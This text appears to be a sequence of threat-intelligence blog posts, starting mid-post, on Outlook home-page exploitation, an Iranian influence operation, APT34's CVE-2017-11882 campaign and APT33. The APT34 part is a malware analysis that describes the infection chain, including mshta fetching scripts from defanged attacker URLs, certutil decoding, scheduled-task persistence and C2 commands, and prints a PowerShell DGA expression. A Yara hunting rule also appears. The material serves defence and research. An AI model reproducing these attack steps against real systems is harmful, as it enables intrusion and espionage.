  • The choice of WebDAV for this initial transfer of stager is the result of restrictions in mail rule creation; the payload must be "locally" accessible before the rule can be saved, meaning protocol handlers for something like HTTP or FTP are not permitted. This is thoroughly detailed in Silent Break Security's initial write-up prior to RULER’s creation. This leaves SMB and WebDAV via UNC file pathing as the available options for transferring your malicious payload via an Outlook Rule. WebDAV is likely the less alerting option from a networking perspective, as one is more likely to find WebDAV transactions occurring over ports 80 and 443 to the internet than they are to find a domain joined host communicating via SMB to a non-domain joined host at an arbitrary IP address.
  • The payload to be executed via Outlook client-side mail rule must contain no arguments, which is likely why a compiled Aut2exe executable was chosen. 95f3bea43338addc1ad951cd2d42eb6f does nothing but execute a PowerShell one-liner to retrieve additional malicious content for execution. However, execution of this command natively using an Outlook rule was not possible due to this limitation.

With that in mind, the initial infection vector is illustrated in Figure 4.

Figure 4: Initial infection vector

As both attackers and defenders continue to explore email security, publicly-released techniques and exploits are quickly adopted. SensePost's identification and responsible disclosure of CVE-2017-11774 was no different. For an excellent description of abusing Outlook's home page for shell and persistence from an attacker’s perspective, refer to SensePost's blog.

FireEye has observed and documented an uptick in several malicious attackers' usage of this specific home page exploitation technique. Based on our experience, this particular method may be more successful due to defenders misinterpreting artifacts and focusing on incorrect mitigations. This is understandable, as some defenders may first learn of successful CVE-2017-11774 exploitation when observing Outlook spawning processes resulting in malicious code execution. When this observation is combined with standalone forensic artifacts that may look similar to malicious HTML Application (.hta) attachments, the evidence may be misinterpreted as initial infection via a phishing email. This incorrect assumption overlooks the fact that attackers require valid credentials to deploy CVE-2017-11774, and thus the scope of the compromise may be greater than individual users' Outlook clients where home page persistence is discovered. To assist defenders, we're including a Yara rule to differentiate these Outlook home page payloads at the end of this post.

Understanding this nuance further highlights the exposure to this technique when combined with password spraying as documented with this attacker, and underscores the importance of layered email security defenses, including multi-factor authentication and patch management. We recommend the organizations reduce their email attack surface as much as possible. Of note, organizations that choose to host their email with a cloud service provider must still ensure the software clients used to access that server are patched. Beyond implementing multi-factor authentication for Outlook 365/Exchange access, the Microsoft security updates in Table 3 will assist in mitigating known and documented attack vectors that are exposed for exploitation by toolkits such as SensePost’s RULER.

Microsoft Outlook Security Update

RULER Module Addressed

June 13, 2017 Security Update


September 12, 2017 Security Update


October 10, 2017 Security Update


Table 3: Outlook attack surface mitigations

Detecting the Techniques

FireEye detected this activity across our platform, including named detection for POSHC2, PUPYRAT, and POWERTON. Table 4 contains several specific detection names that applied to the email exploitation and initial infection activity.



Endpoint Security


Network and Email Security

HackTool.RULER (Network Traffic)

Table 4: FireEye product detections

For organizations interested in hunting for Outlook home page shell and persistence, we’ve included a Yara rule that can also be used for context to differentiate these payloads from other scripts:

rule Hunting_Outlook_Homepage_Shell_and_Persistence
        author = "Nick Carr (@itsreallynick)"
        reference_hash = "506fe019d48ff23fac8ae3b6dd754f6e"
        $script_1 = "<htm" ascii nocase wide
        $script_2 = "<script" ascii nocase wide
        $viewctl1_a = "ViewCtl1" ascii nocase wide
        $viewctl1_b = "0006F063-0000-0000-C000-000000000046" ascii wide
        $viewctl1_c = ".OutlookApplication" ascii nocase wide
        uint16(0) != 0x5A4D and all of ($script*) and any of ($viewctl1*)


The authors would like to thank Matt Berninger for providing data science support for attribution augmentation projects, Omar Sardar (FLARE) for reverse engineering POWERTON, and Joseph Reyes (FireEye Labs) for continued comprehensive Outlook client exploitation product coverage.

Suspected Iranian Influence Operation Leverages Network of Inauthentic News Sites & Social Media Targeting Audiences in U.S., UK, Latin America, Middle East

FireEye has identified a suspected influence operation that appears to originate from Iran aimed at audiences in the U.S., U.K., Latin America, and the Middle East. This operation is leveraging a network of inauthentic news sites and clusters of associated accounts across multiple social media platforms to promote political narratives in line with Iranian interests. These narratives include anti-Saudi, anti-Israeli, and pro-Palestinian themes, as well as support for specific U.S. policies favorable to Iran, such as the U.S.-Iran nuclear deal (JCPOA). The activity we have uncovered is significant, and demonstrates that actors beyond Russia continue to engage in and experiment with online, social media-driven influence operations to shape political discourse.

What Is This Activity?

Figure 1 maps the registration and content promotion connections between the various inauthentic news sites and social media account clusters we have identified thus far. This activity dates back to at least 2017. At the time of publication of this blog post, we continue to investigate and identify additional social media accounts and websites linked to this activity. For example, we have identified multiple Arabic-language, Middle East-focused sites that appear to be part of this broader operation that we do not address here.

Figure 1: Connections among components of suspected Iranian influence operation

We use the term “inauthentic” to describe sites that are not transparent in their origins and affiliations, undertake concerted efforts to mask these origins, and often use false social media personas to promote their content. The content published on the various websites consists of a mix of both original content and news articles appropriated, and sometimes altered, from other sources.

Who Is Conducting this Activity and Why?

Based on an investigation by FireEye Intelligence’s Information Operations analysis team, we assess with moderate confidence that this activity originates from Iranian actors. This assessment is based on a combination of indicators, including site registration data and the linking of social media accounts to Iranian phone numbers, as well as the promotion of content consistent with Iranian political interests. For example:

  • Registrant emails for the sites ‘Liberty Front Press’ and ‘Instituto Manquehue’ are associated with advertisements for website designers in Tehran and with the Iran-based site gahvare[.]com, respectively.
  • We have identified multiple Twitter accounts directly affiliated with the sites, as well as other associated Twitter accounts, that are linked to phone numbers with the +98 Iranian country code.
  • We have observed inauthentic social media personas, masquerading as American liberals supportive of U.S. Senator Bernie Sanders, heavily promoting Quds Day, a holiday established by Iran in 1979 to express support for Palestinians and opposition to Israel.

We limit our assessment regarding Iranian origins to moderate confidence because influence operations, by their very nature, are intended to deceive by mimicking legitimate online activity as closely as possible. While highly unlikely given the evidence we have identified, some possibility nonetheless remains that the activity could originate from elsewhere, was designed for alternative purposes, or includes some small percentage of authentic online behavior. We do not currently possess additional visibility into the specific actors, organizations, or entities behind this activity. Although the Iran-linked APT35 (Newscaster) has previously used inauthentic news sites and social media accounts to facilitate espionage, we have not observed any links to APT35.

Broadly speaking, the intent behind this activity appears to be to promote Iranian political interests, including anti-Saudi, anti-Israeli, and pro-Palestinian themes, as well as to promote support for specific U.S. policies favorable to Iran, such as the U.S.-Iran nuclear deal (JCPOA). In the context of the U.S.-focused activity, this also includes significant anti-Trump messaging and the alignment of social media personas with an American liberal identity. However, it is important to note that the activity does not appear to have been specifically designed to influence the 2018 U.S. midterm elections, as it extends well beyond U.S. audiences and U.S. politics.


The activity we have uncovered highlights that multiple actors continue to engage in and experiment with online, social media-driven influence operations as a means of shaping political discourse. These operations extend well beyond those conducted by Russia, which has often been the focus of research into information operations over recent years. Our investigation also illustrates how the threat posed by such influence operations continues to evolve, and how similar influence tactics can be deployed irrespective of the particular political or ideological goals being pursued.

Additional Details

Read the full report for more information.

New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit

Less than a week after Microsoft issued a patch for CVE-2017-11882 on Nov. 14, 2017, FireEye observed an attacker using an exploit for the Microsoft Office vulnerability to target a government organization in the Middle East. We assess this activity was carried out by a suspected Iranian cyber espionage threat group, whom we refer to as APT34, using a custom PowerShell backdoor to achieve its objectives.

We believe APT34 is involved in a long-term cyber espionage operation largely focused on reconnaissance efforts to benefit Iranian nation-state interests and has been operational since at least 2014. This threat group has conducted broad targeting across a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. We assess that APT34 works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests.

APT34 uses a mix of public and non-public tools, often conducting spear phishing operations using compromised accounts, sometimes coupled with social engineering tactics. In May 2016, we published a blog detailing a spear phishing campaign targeting banks in the Middle East region that used macro-enabled attachments to distribute POWBAT malware. We now attribute that campaign to APT34. In July 2017, we observed APT34 targeting a Middle East organization using a PowerShell-based backdoor that we call POWRUNER and a downloader with domain generation algorithm functionality that we call BONDUPDATER, based on strings within the malware. The backdoor was delivered via a malicious .rtf file that exploited CVE-2017-0199.

In this latest campaign, APT34 leveraged the recent Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER.

The full report on APT34 is available to our MySIGHT customer community. APT34 loosely aligns with public reporting related to the group "OilRig". As individual organizations may track adversaries using varied data sets, it is possible that our classifications of activity may not wholly align.

CVE-2017-11882: Microsoft Office Stack Memory Corruption Vulnerability

CVE-2017-11882 affects several versions of Microsoft Office and, when exploited, allows a remote user to run arbitrary code in the context of the current user as a result of improperly handling objects in memory. The vulnerability was patched by Microsoft on Nov. 14, 2017. A full proof of concept (POC) was publicly released a week later by the reporter of the vulnerability.

The vulnerability exists in the old Equation Editor (EQNEDT32.EXE), a component of Microsoft Office that is used to insert and evaluate mathematical formulas. The Equation Editor is embedded in Office documents using object linking and embedding (OLE) technology. It is created as a separate process instead of child process of Office applications. If a crafted formula is passed to the Equation Editor, it does not check the data length properly while copying the data, which results in stack memory corruption. As the EQNEDT32.exe is compiled using an older compiler and does not support address space layout randomization (ASLR), a technique that guards against the exploitation of memory corruption vulnerabilities, the attacker can easily alter the flow of program execution.


APT34 sent a malicious .rtf file (MD5: a0e6933f4e0497269620f44a083b2ed4) as an attachment in a malicious spear phishing email sent to the victim organization. The malicious file exploits CVE-2017-11882, which corrupts the memory on the stack and then proceeds to push the malicious data to the stack. The malware then overwrites the function address with the address of an existing instruction from EQNEDT32.EXE. The overwritten instruction (displayed in Figure 1) is used to call the “WinExec” function from kernel32.dll, as depicted in the instruction at 00430c12, which calls the “WinExec” function.

Figure 1: Disassembly of overwritten function address

After exploitation, the ‘WinExec’ function is successfully called to create a child process, “mshta.exe”, in the context of current logged on user. The process “mshta.exe” downloads a malicious script from hxxp://mumbai-m[.]site/b.txt and executes it, as seen in Figure 2.

Figure 2: Attacker data copied to corrupt stack buffer

Execution Workflow

The malicious script goes through a series of steps to successfully execute and ultimately establish a connection to the command and control (C2) server. The full sequence of events starting with the exploit document is illustrated in Figure 3.

Figure 3: CVE-2017-11882 and POWRUNER attack sequence

  1. The malicious .rtf file exploits CVE-2017-11882.
  2. The malware overwrites the function address with an existing instruction from EQNEDT32.EXE.
  3. The malware creates a child process, “mshta.exe,” which downloads a file from: hxxp://mumbai-m[.]site/b.txt.
  4. b.txt contains a PowerShell command to download a dropper from: hxxp://dns-update[.]club/v.txt. The PowerShell command also renames the downloaded file from v.txt to v.vbs and executes the script.
  5. The v.vbs script drops four components (hUpdateCheckers.base, dUpdateCheckers.base, cUpdateCheckers.bat, and GoogleUpdateschecker.vbs) to the directory: C:\ProgramData\Windows\Microsoft\java\
  6. v.vbs uses CertUtil.exe, a legitimate Microsoft command-line program installed as part of Certificate Services, to decode the base64-encoded files hUpdateCheckers.base and dUpdateCheckers.base, and drop hUpdateCheckers.ps1 and dUpdateCheckers.ps1 to the staging directory.
  7. cUpdateCheckers.bat is launched and creates a scheduled task for GoogleUpdateschecker.vbs persistence.
  8. GoogleUpdateschecker.vbs is executed after sleeping for five seconds.
  9. cUpdateCheckers.bat and *.base are deleted from the staging directory.

Figure 4 contains an excerpt of the v.vbs script pertaining to the Execution Workflow section.

Figure 4: Execution Workflow Section of v.vbs

After successful execution of the steps mentioned in the Execution Workflow section, the Task Scheduler will launch GoogleUpdateschecker.vbs every minute, which in turn executes the dUpdateCheckers.ps1 and hUpdateCheckers.ps1 scripts. These PowerShell scripts are final stage payloads – they include a downloader with domain generation algorithm (DGA) functionality and the backdoor component, which connect to the C2 server to receive commands and perform additional malicious activities. 

hUpdateCheckers.ps1 (POWRUNER)

The backdoor component, POWRUNER, is a PowerShell script that sends and receives commands to and from the C2 server. POWRUNER is executed every minute by the Task Scheduler. Figure 5 contains an excerpt of the POWRUNER backdoor.

Figure 5: POWRUNER PowerShell script hUpdateCheckers.ps1

POWRUNER begins by sending a random GET request to the C2 server and waits for a response. The server will respond with either “not_now” or a random 11-digit number. If the response is a random number, POWRUNER will send another random GET request to the server and store the response in a string. POWRUNER will then check the last digit of the stored random number response, interpret the value as a command, and perform an action based on that command. The command values and the associated actions are described in Table 1.





Server response string contains batch commands

Execute batch commands and send results back to server


Server response string is a file path

Check for file path and upload (PUT) the file to server


Server response string is a file path

Check for file path and download (GET) the file

Table 1: POWRUNER commands

After successfully executing the command, POWRUNER sends the results back to the C2 server and stops execution.

The C2 server can also send a PowerShell command to capture and store a screenshot of a victim’s system. POWRUNER will send the captured screenshot image file to the C2 server if the “fileupload” command is issued. Figure 6 shows the PowerShell “Get-Screenshot” function sent by the C2 server.

Figure 6: Powershell Screenshot Functionality

dUpdateCheckers.ps1 (BONDUPDATER)

One of the recent advancements by APT34 is the use of DGA to generate subdomains. The BONDUPDATER script, which was named based on the hard-coded string “B007”, uses a custom DGA algorithm to generate subdomains for communication with the C2 server.

DGA Implementation

Figure 7 provides a breakdown of how an example domain (456341921300006B0C8B2CE9C9B007.mumbai-m[.]site) is generated using BONDUPDATER’s custom DGA.

Figure 7: Breakdown of subdomain created by BONDUPDATER

  1. This is a randomly generated number created using the following expression: $rnd = -join (Get-Random -InputObject (10..99) -Count (%{ Get-Random -InputObject (1..6)}));
  2. This value is either 0 or 1. It is initially set to 0. If the first resolved domain IP address starts with 24.125.X.X, then it is set to 1.
  3. Initially set to 000, then incremented by 3 after every DNS request
  4. First 12 characters of system UUID.
  5. “B007” hardcoded string.
  6. Hardcoded domain “mumbai-m[.]site”

BONDUPDATER will attempt to resolve the resulting DGA domain and will take the following actions based on the IP address resolution:

  1. Create a temporary file in %temp% location
    • The file created will have the last two octets of the resolved IP addresses as its filename.
  2. BONDUPDATER will evaluate the last character of the file name and perform the corresponding action found in Table 2.




File contains batch commands, it executes the batch commands


Rename the temporary file as .ps1 extension


Rename the temporary file as .vbs extension

Table 2: BONDUPDATER Actions

Figure 8 is a screenshot of BONDUPDATER’s DGA implementation.

Figure 8: Domain Generation Algorithm

Some examples of the generated subdomains observed at time of execution include:




Network Communication

Figure 9 shows example network communications between a POWRUNER backdoor client and server.

Figure 9: Example Network Communication

In the example, the POWRUNER client sends a random GET request to the C2 server and the C2 server sends the random number (99999999990) as a response. As the response is a random number that ends with ‘0’, POWRUNER sends another random GET request to receive  an additional command string. The C2 server sends back Base64 encoded response.

If the server had sent the string “not_now” as response, as shown in Figure 10, POWRUNER would have ceased any further requests and terminated its execution.

Figure 10: Example "not now" server response

Batch Commands

POWRUNER may also receive batch commands from the C2 server to collect host information from the system. This may include information about the currently logged in user, the hostname, network configuration data, active connections, process information, local and domain administrator accounts, an enumeration of user directories, and other data. An example batch command is provided in Figure 11.

Figure 11: Batch commands sent by POWRUNER C2 server


APT34 has used POWRUNER and BONDUPDATER to target Middle East organizations as early as July 2017. In July 2017, a FireEye Web MPS appliance detected and blocked a request to retrieve and install an APT34 POWRUNER / BONDUPDATER downloader file. During the same month, FireEye observed APT34 target a separate Middle East organization using a malicious .rtf file (MD5: 63D66D99E46FB93676A4F475A65566D8) that exploited CVE-2017-0199. This file issued a GET request to download a malicious file from:


As shown in Figure 12, the script within the dupatechecker.doc file attempts to download another file named dupatechecker.exe from the same server. The file also contains a comment by the malware author that appears to be an apparent taunt to security researchers.

Figure 12: Contents of dupdatechecker.doc script

The dupatechecker.exe file (MD5: C9F16F0BE8C77F0170B9B6CE876ED7FB) drops both BONDUPDATER and POWRUNER. These files connect to proxychecker[.]pro for C2.

Outlook and Implications

Recent activity by APT34 demonstrates that they are capable group with potential access to their own development resources. During the past few months, APT34 has been able to quickly incorporate exploits for at least two publicly vulnerabilities (CVE-2017-0199 and CVE-2017-11882) to target organizations in the Middle East. We assess that APT34’s efforts to continuously update their malware, including the incorporation of DGA for C2, demonstrate the group’s commitment to pursing strategies to deter detection. We expect APT34 will continue to evolve their malware and tactics as they continue to pursue access to entities in the Middle East region.


Filename / Domain / IP Address

MD5 Hash or Description

CVE-2017-11882 exploit document





















Malware Staging Server

CVE-2017-0199 exploit document


Malware Staging Server







Has resolved mumbai-m[.]site & hpserver[.]online

Has resolved mumbai-m[.]site and dns-update[.]club

Has resolved dns-update[.]club

Has resolved dns-update[.]club

Has resolved ns2.dns-update[.]club & hpserver[.]online & anyportals[.]com




























Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware

When discussing suspected Middle Eastern hacker groups with destructive capabilities, many automatically think of the suspected Iranian group that previously used SHAMOON – aka Disttrack – to target organizations in the Persian Gulf. However, over the past few years, we have been tracking a separate, less widely known suspected Iranian group with potential destructive capabilities, whom we call APT33. Our analysis reveals that APT33 is a capable group that has carried out cyber espionage operations since at least 2013. We assess APT33 works at the behest of the Iranian government.

Recent investigations by FireEye’s Mandiant incident response consultants combined with FireEye iSIGHT Threat Intelligence analysis have given us a more complete picture of APT33’s operations, capabilities, and potential motivations. This blog highlights some of our analysis. Our detailed report on FireEye Threat Intelligence contains a more thorough review of our supporting evidence and analysis. We will also be discussing this threat group further during our webinar on Sept. 21 at 8 a.m. ET.


APT33 has targeted organizations – spanning multiple industries – headquartered in the United States, Saudi Arabia and South Korea. APT33 has shown particular interest in organizations in the aviation sector involved in both military and commercial capacities, as well as organizations in the energy sector with ties to petrochemical production.

From mid-2016 through early 2017, APT33 compromised a U.S. organization in the aerospace sector and targeted a business conglomerate located in Saudi Arabia with aviation holdings.

During the same time period, APT33 also targeted a South Korean company involved in oil refining and petrochemicals. More recently, in May 2017, APT33 appeared to target a Saudi organization and a South Korean business conglomerate using a malicious file that attempted to entice victims with job vacancies for a Saudi Arabian petrochemical company.

We assess the targeting of multiple companies with aviation-related partnerships to Saudi Arabia indicates that APT33 may possibly be looking to gain insights on Saudi Arabia’s military aviation capabilities to enhance Iran’s domestic aviation capabilities or to support Iran’s military and strategic decision making vis a vis Saudi Arabia.

We believe the targeting of the Saudi organization may have been an attempt to gain insight into regional rivals, while the targeting of South Korean companies may be due to South Korea’s recent partnerships with Iran’s petrochemical industry as well as South Korea’s relationships with Saudi petrochemical companies. Iran has expressed interest in growing their petrochemical industry and often posited this expansion in competition to Saudi petrochemical companies. APT33 may have targeted these organizations as a result of Iran’s desire to expand its own petrochemical production and improve its competitiveness within the region. 

The generalized targeting of organizations involved in energy and petrochemicals mirrors previously observed targeting by other suspected Iranian threat groups, indicating a common interest in the sectors across Iranian actors.

Figure 1 shows the global scope of APT33 targeting.

Figure 1: Scope of APT33 Targeting

Spear Phishing

APT33 sent spear phishing emails to employees whose jobs related to the aviation industry. These emails included recruitment themed lures and contained links to malicious HTML application (.hta) files. The .hta files contained job descriptions and links to legitimate job postings on popular employment websites that would be relevant to the targeted individuals.

An example .hta file excerpt is provided in Figure 2. To the user, the file would appear as benign references to legitimate job postings; however, unbeknownst to the user, the .hta file also contained embedded code that automatically downloaded a custom APT33 backdoor.

Figure 2: Excerpt of an APT33 malicious .hta file

We assess APT33 used a built-in phishing module within the publicly available ALFA TEaM Shell (aka ALFASHELL) to send hundreds of spear phishing emails to targeted individuals in 2016. Many of the phishing emails appeared legitimate – they referenced a specific job opportunity and salary, provided a link to the spoofed company’s employment website, and even included the spoofed company’s Equal Opportunity hiring statement. However, in a few cases, APT33 operators left in the default values of the shell’s phishing module. These appear to be mistakes, as minutes after sending the emails with the default values, APT33 sent emails to the same recipients with the default values removed.

As shown in Figure 3, the “fake mail” phishing module in the ALFA Shell contains default values, including the sender email address (solevisible@gmail[.]com), subject line (“your site hacked by me”), and email body (“Hi Dear Admin”).

Figure 3: ALFA TEaM Shell v2-Fake Mail (Default)

Figure 4 shows an example email containing the default values the shell.

Figure 4: Example Email Generated by the ALFA Shell with Default Values

Domain Masquerading

APT33 registered multiple domains that masquerade as Saudi Arabian aviation companies and Western organizations that together have partnerships to provide training, maintenance and support for Saudi’s military and commercial fleet. Based on observed targeting patterns, APT33 likely used these domains in spear phishing emails to target victim organizations.    

The following domains masquerade as these organizations: Boeing, Alsalam Aircraft Company, Northrop Grumman Aviation Arabia (NGAAKSA), and Vinnell Arabia.






Boeing, Alsalam Aircraft company, and Saudia Aerospace Engineering Industries entered into a joint venture to create the Saudi Rotorcraft Support Center in Saudi Arabia in 2015 with the goal of servicing Saudi Arabia’s rotorcraft fleet and building a self-sustaining workforce in the Saudi aerospace supply base.

Alsalam Aircraft Company also offers military and commercial maintenance, technical support, and interior design and refurbishment services.

Two of the domains appeared to mimic Northrop Grumman joint ventures. These joint ventures – Vinnell Arabia and Northrop Grumman Aviation Arabia – provide aviation support in the Middle East, specifically in Saudi Arabia. Both Vinnell Arabia and Northrop Grumman Aviation Arabia have been involved in contracts to train Saudi Arabia’s Ministry of National Guard.

Identified Persona Linked to Iranian Government

We identified APT33 malware tied to an Iranian persona who may have been employed by the Iranian government to conduct cyber threat activity against its adversaries.

We assess an actor using the handle “xman_1365_x” may have been involved in the development and potential use of APT33’s TURNEDUP backdoor due to the inclusion of the handle in the processing-debugging (PDB) paths of many of TURNEDUP samples. An example can be seen in Figure 5.

Figure 5: “xman_1365_x" PDB String in TURNEDUP Sample

Xman_1365_x was also a community manager in the Barnamenevis Iranian programming and software engineering forum, and registered accounts in the well-known Iranian Shabgard and Ashiyane forums, though we did not find evidence to suggest that this actor was ever a formal member of the Shabgard or Ashiyane hacktivist groups.

Open source reporting links the “xman_1365_x” actor to the “Nasr Institute,” which is purported to be equivalent to Iran’s “cyber army” and controlled by the Iranian government. Separately, additional evidence ties the “Nasr Institute” to the 2011-2013 attacks on the financial industry, a series of denial of service attacks dubbed Operation Ababil. In March 2016, the U.S. Department of Justice unsealed an indictment that named two individuals allegedly hired by the Iranian government to build attack infrastructure and conduct distributed denial of service attacks in support of Operation Ababil. While the individuals and the activity described in indictment are different than what is discussed in this report, it provides some evidence that individuals associated with the “Nasr Institute” may have ties to the Iranian government.

Potential Ties to Destructive Capabilities and Comparisons with SHAMOON

One of the droppers used by APT33, which we refer to as DROPSHOT, has been linked to the wiper malware SHAPESHIFT. Open source research indicates SHAPESHIFT may have been used to target organizations in Saudi Arabia.

Although we have only directly observed APT33 use DROPSHOT to deliver the TURNEDUP backdoor, we have identified multiple DROPSHOT samples in the wild that drop SHAPESHIFT. The SHAPESHIFT malware is capable of wiping disks, erasing volumes and deleting files, depending on its configuration. Both DROPSHOT and SHAPESHIFT contain Farsi language artifacts, which indicates they may have been developed by a Farsi language speaker (Farsi is the predominant and official language of Iran).

While we have not directly observed APT33 use SHAPESHIFT or otherwise carry out destructive operations, APT33 is the only group that we have observed use the DROPSHOT dropper. It is possible that DROPSHOT may be shared amongst Iran-based threat groups, but we do not have any evidence that this is the case.

In March 2017, Kasperksy released a report that compared DROPSHOT (which they call Stonedrill) with the most recent variant of SHAMOON (referred to as Shamoon 2.0). They stated that both wipers employ anti-emulation techniques and were used to target organizations in Saudi Arabia, but also mentioned several differences. For example, they stated DROPSHOT uses more advanced anti-emulation techniques, utilizes external scripts for self-deletion, and uses memory injection versus external drivers for deployment. Kaspersky also noted the difference in resource language sections: SHAMOON embeds Arabic-Yemen language resources while DROPSHOT embeds Farsi (Persian) language resources.

We have also observed differences in both targeting and tactics, techniques and procedures (TTPs) associated with the group using SHAMOON and APT33. For example, we have observed SHAMOON being used to target government organizations in the Middle East, whereas APT33 has targeted several commercial organizations both in the Middle East and globally. APT33 has also utilized a wide range of custom and publicly available tools during their operations. In contrast, we have not observed the full lifecycle of operations associated with SHAMOON, in part due to the wiper removing artifacts of the earlier stages of the attack lifecycle.

Regardless of whether DROPSHOT is exclusive to APT33, both the malware and the threat activity appear to be distinct from the group using SHAMOON. Therefore, we assess there may be multiple Iran-based threat groups capable of carrying out destructive operations.

Additional Ties Bolster Attribution to Iran

APT33’s targeting of organizations involved in aerospace and energy most closely aligns with nation-state interests, implying that the threat actor is most likely government sponsored. This coupled with the timing of operations – which coincides with Iranian working hours – and the use of multiple Iranian hacker tools and name servers bolsters our assessment that APT33 may have operated on behalf of the Iranian government.

The times of day that APT33 threat actors were active suggests that they were operating in a time zone close to 04:30 hours ahead of Coordinated Universal Time (UTC). The time of the observed attacker activity coincides with Iran’s Daylight Time, which is +0430 UTC.

APT33 largely operated on days that correspond to Iran’s workweek, Saturday to Wednesday. This is evident by the lack of attacker activity on Thursday, as shown in Figure 6. Public sources report that Iran works a Saturday to Wednesday or Saturday to Thursday work week, with government offices closed on Thursday and some private businesses operating on a half day schedule on Thursday. Many other Middle East countries have elected to have a Friday and Saturday weekend. Iran is one of few countries that subscribes to a Saturday to Wednesday workweek.

APT33 leverages popular Iranian hacker tools and DNS servers used by other suspected Iranian threat groups. The publicly available backdoors and tools utilized by APT33 – including NANOCORE, NETWIRE, and ALFA Shell – are all available on Iranian hacking websites, associated with Iranian hackers, and used by other suspected Iranian threat groups. While not conclusive by itself, the use of publicly available Iranian hacking tools and popular Iranian hosting companies may be a result of APT33’s familiarity with them and lends support to the assessment that APT33 may be based in Iran.

Figure 6: APT33 Interactive Commands by Day of Week

Outlook and Implications

Based on observed targeting, we believe APT33 engages in strategic espionage by targeting geographically diverse organizations across multiple industries. Specifically, the targeting of organizations in the aerospace and energy sectors indicates that the threat group is likely in search of strategic intelligence capable of benefitting a government or military sponsor. APT33’s focus on aviation may indicate the group’s desire to gain insight into regional military aviation capabilities to enhance Iran’s aviation capabilities or to support Iran’s military and strategic decision making. Their targeting of multiple holding companies and organizations in the energy sectors align with Iranian national priorities for growth, especially as it relates to increasing petrochemical production. We expect APT33 activity will continue to cover a broad scope of targeted entities, and may spread into other regions and sectors as Iranian interests dictate.

APT33’s use of multiple custom backdoors suggests that they have access to some of their own development resources, with which they can support their operations, while also making use of publicly available tools. The ties to SHAPESHIFT may suggest that APT33 engages in destructive operations or that they share tools or a developer with another Iran-based threat group that conducts destructive operations.


Malware Family Descriptions

Malware Family




Dropper that has been observed dropping and launching the TURNEDUP backdoor, as well as the SHAPESHIFT wiper malware



Publicly available remote access Trojan (RAT) available for purchase. It is a full-featured backdoor with a plugin framework



Backdoor that attempts to steal credentials from the local machine from a variety of sources and supports other standard backdoor features.



Backdoor capable of uploading and downloading files, creating a reverse shell, taking screenshots, and gathering system information


Indicators of Compromise

APT33 Domains Likely Used in Initial Targeting







APT33 Domains / IPs Used for C2

C2 Domain






















Publicly Available Tools used by APT33



Compile Time (UTC)



2017/1/11 2:20



2016/3/9 23:48



2016/6/29 13:44



2016/5/29 14:11

Unattributed DROPSHOT / SHAPESHIFT MD5 Hashes



Compile Time (UTC)




n/a - timestomped



n/a - timestomped



2016/11/14 21:16:40



2016/11/14 21:16:40

APT33 Malware MD5 Hashes



Compile Time (UTC)



2016/10/19 14:26



2014/6/1 11:01



2016/9/18 10:50



2016/3/8 12:34



2016/3/8 12:34



2015/3/12 5:59



2015/3/12 5:59



2015/3/12 5:59



2015/3/9 16:56



2015/3/9 16:56



2015/3/9 16:56



2015/3/9 16:56



2014/6/1 11:01



2014/6/1 11:01



2014/6/1 11:01



2014/6/1 11:01



2014/6/1 11:01



2014/6/1 11:01



2014/6/1 11:01



2014/6/1 11:01



2014/6/1 11:01



2014/6/1 11:01



2014/6/1 11:01



2014/6/1 11:01



2014/6/1 11:01



2014/6/1 11:01



2014/6/1 11:01



2014/6/1 11:01



2014/6/1 11:01



2014/6/1 11:01



2013/4/10 10:43



2013/4/10 10:43



2013/4/10 10:43

DHS and FBI Joint Analysis Report Confirms FireEye’s Assessment that Russian Government Likely Sponsors APT28 and APT29

On Dec. 29, 2016, the Department of Homeland Security (DHS) and Federal Bureau of Investigation (FBI) released a Joint Analysis Report confirming FireEye’s long held public assessment that the Russian government likely sponsors the groups that we track as Advanced Persistent Threat (APT) 28 and APT29. We have tracked and profiled these groups through multiple investigations, endpoint and network detections, and continuous monitoring, allowing us to understand the groups’ malware, operational changes and motivations. This intelligence has been critical to protecting and informing our clients and exposing this threat.

FireEye first publicly announced that the Russian government likely sponsors APT28 in a report released in October 2014. APT28 has pursued military and political targets in the U.S. and globally, including U.S. political organizations, anti-doping agencies, NGOs, foreign and defense ministries, defense attaches, media outlets, and high profile government and private sector entities. Since at least 2007, APT28 has conducted operations using a sophisticated set of malware that employs a flexible, modular framework allowing APT28 to consistently evolve its toolset for future operations. APT28’s operations closely align with Russian military interests and the 2016 breaches, and pursuant public data leaks demonstrate the Russian government's wide-ranging approach to advancing its strategic political interests.

In July 2015, we released a report focusing on a tool used by APT29, malware that we call HAMMERTOSS. In detailing the sophistication and attention to obfuscation evident in HAMMERTOSS, we sought to explain how APT29’s tool development effort defined a clandestine, well-resourced and state-sponsored effort. Additionally, we have observed APT29 target and breach entities including government agencies, universities, law firms and private sector targets. APT29 remains one of the most capable groups that we track, and the group’s past and recent activity is consistent with state espionage.

The Joint Analysis Report also includes indicators for another group we (then iSIGHT Partners) profiled publicly in 2014: Sandworm Team. Since 2009, this group has targeted entities in the energy, transportation and financial services industries. They have deployed destructive malware that impacted the power grid in Ukraine in late 2015 and used related malware to affect a Ukrainian ministry and other financial entities in December 2016. Chiefly characterized by their use of the well-known Black Energy trojan, Sandworm Team has often retrofitted publicly available malware to further their offensive operations. Sandworm Team has exhibited considerable skill and used extensive resources to conduct offensive operations.